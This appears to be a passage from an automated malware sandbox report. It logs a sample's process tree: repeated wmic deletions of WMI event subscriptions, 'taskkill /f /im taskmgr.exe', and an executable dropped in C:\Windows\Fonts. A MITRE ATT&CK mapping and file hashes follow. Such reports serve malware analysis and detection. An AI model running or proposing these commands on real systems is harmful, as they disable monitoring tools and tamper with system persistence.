    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
    3⤵
    PID:1476
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
    3⤵
    PID:3892
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:4384
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:7000
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
    3⤵
    PID:6968
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckyoumm2_filter" DELETE
    3⤵
    PID:3388
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm2_consumer" DELETE
    3⤵
    PID:6420
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
    3⤵
    PID:4360
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
    3⤵
    PID:6180
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
    3⤵
    PID:6072
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
    3⤵
    PID:6520
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    PID:4224
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4472
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:3976
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:4876

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4244

C:\Windows\System32\cmd.exe
cmd
1⤵
PID:1552

C:\Windows\Fonts\SQLAGENTSWE.exe
C:\Windows\Fonts\SQLAGENTSWE.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

QMM9FFP9.htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\LB3MWT6N\QMM9FFP9.htm
Size 28KB
SHA256 1e76fd5d39c6e4e5f653ba57be91ce63bbb8e903e0a1be12ba906e5ef8d1e225
MD5 90ae8db63d23df362b7ba2d04ab2b483
SHA1 de6f7b406a8e316266b3789f93443260eadae84a
SHA512 50514bd6c891ef225281ddcbc09a89ab569f0c1657e13704bbeee7ad41beeff84aab878cbe15cc20ff9f37f5ea4d0ccc319bfe941627be2d347a9b826bf522ca
SSDEEP 384:cEkwodT8VG8zbdoylitKZPNacYqIUVGkY7jovLpxgsO5P:cEkwodT8hUtQPgvPCY/+9ql
TLSH
T1C7D25095C6B354127597D0B86BE67B183261801BCE47DC8CBFCC994C4FC8E9196E33AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate.bat

Path C:\Users\Admin\AppData\Local\TempUpdate.bat
Size 2KB
SHA256 82586e42514c31cbf10b4f572f98c68d68efa77de0c19ee3febce36d00430db3
MD5 35ca97a62e249b669b1de985fff48f21
SHA1 b45e2848f26167b270cf8db2f1088ac0f86fb883
SHA512 54527c764dabeb37f78ba2b0a45159c819ba3af88fb7c5923570f3f2356d0fffaf24e8f65efdaad3b65d076cb81dbc7bf5fd19e285ba9c709caf8f065ec8150d
TLSH
T111515B6AF200C9A29845B46226F56903BF38A54725A1CF54069D807EB18F7EDD37F3B3
MD5 SHA1 SHA512 TLSH

Submit Download

TempUpdate1.bat

Path C:\Users\Admin\AppData\Local\TempUpdate1.bat
Size 4KB
SHA256 4cd25d13fae60e2b5080f0070367a3b39920393c2f7e91d46fc0e0c8d4d7ff82
MD5 0ac288ad76ef2897dab055ab05c2d849
SHA1 b7015e46f9a11ddff16552271ac4ecaf9ae0c69c
SHA512 fdc876524dc2aa4962b411d3dbf6b5fbb2d8352a507e1f4314d68f247897b489b0f4dcf4d2258fa176e8607a1f231e2e1d9f805d5f8f56988180c6ca1c324dac
SSDEEP 48:O7bp0tp05xfUyD5xZY2vedaWaoa9ayapFYL5ceVZhAoA1ABApAA5WALOApA8AMAd:O7bIuxfrzuZ76lho5KA5Kx
TLSH
T17CA114057C5CA99086CB6733FF1353970074F5EE36642C893FC9B8196C93199C7125DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TempUpdate2.bat

Path C:\Users\Admin\AppData\Local\TempUpdate2.bat
Size 15KB
SHA256 22782ab8ef711f7fa0e93041222fd69d47ccd28e6fff191537e6ad5d29c847a2
MD5 8c74da913ec93b3ab42fd1026a872e9f
SHA1 8525f2512a9db3fabdcfad0c571c198774c7f48c
SHA512 4ad5eb6b695315ca3e0cf2b93ccbaa4b39dbcaeb8e577d64c7b96ba39029eb3ef4cb449d29026a254be08a45e22174aa45607b4096ad4fd0f8f0fecdf2a86651
SSDEEP 192:Xvp/NTt7J1/Ng+V51YVeA2aXM8k6WNFDpehj:nyeGXM8ky
TLSH
T1CD62A852DA23E242D1C174F2A3AE1603F61BD5A3253491501286353AF46643EDBBFFEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VBS.vbs

Path C:\Users\Admin\AppData\Local\Temp\VBS.vbs
Size 776B
SHA256 c587ed5a24d28fa5db9a9087103ba48e3fa332bb098c74545d319cea16e092be
MD5 c437e510b3c03176951c73dd31397896
SHA1 6d41013709fc3f1730c6ab1ac024b038ae5d54d7
SHA512 514456da7e95cf2561d80158708184dccb0324f1271b758e12cb2c523f7cc0fbb92eccf8f89f5cc222371da8d4846d8fc1c01253f8e3a74a1ce8e3afbdd537f2
TLSH
T13E01C001DF5D876D507457362933E04EF7AA241763039C98B9AAD5213FB06696CB4F33
MD5 SHA1 SHA512 TLSH

Submit Download

SQLAGENTSWE.exe

Path C:\Windows\Fonts\SQLAGENTSWE.exe
Size 1.2MB
SHA256 cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c
MD5 77d1d3c39a19dd4dff93290b5ef6ee3b
SHA1 43cc82ce7a6185f5dbf903e5deaa49a96791f473
SHA512 0695f4a6ad055686813a8e496d1d391c5c101eed54c0e1574b6911632ec351277572a6368ef31fe4ddecf2cf8a6a2847385cb80f30e45595e429efa8407686e6
SSDEEP 24576:T+x+nfZW2IFJ3fiRUJmBTEGwtXVT7xk8nBxaHO5jUoBlD9:T+yZW2IFJ8yRvk8ik
TLSH
T119556C23E18184B1D11862F122F70B34ED78CB725D718A83E7D8EE756E62A71C76B14E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1764-43-0x00000000023D0000-0x00000000023DB000-memory.dmp

Download

memory/2544-46-0x00000000023E0000-0x00000000023EB000-memory.dmp

Download

memory/3228-40-0x0000000000BA0000-0x0000000000BAB000-memory.dmp

Download

memory/3416-5-0x0000000010000000-0x0000000010009000-memory.dmp

Download

memory/3416-0-0x0000000000400000-0x0000000000556000-memory.dmp

Download

memory/3416-1-0x00000000007B0000-0x00000000007BB000-memory.dmp

Download

memory/3416-2-0x00000000007B0000-0x00000000007BB000-memory.dmp

Download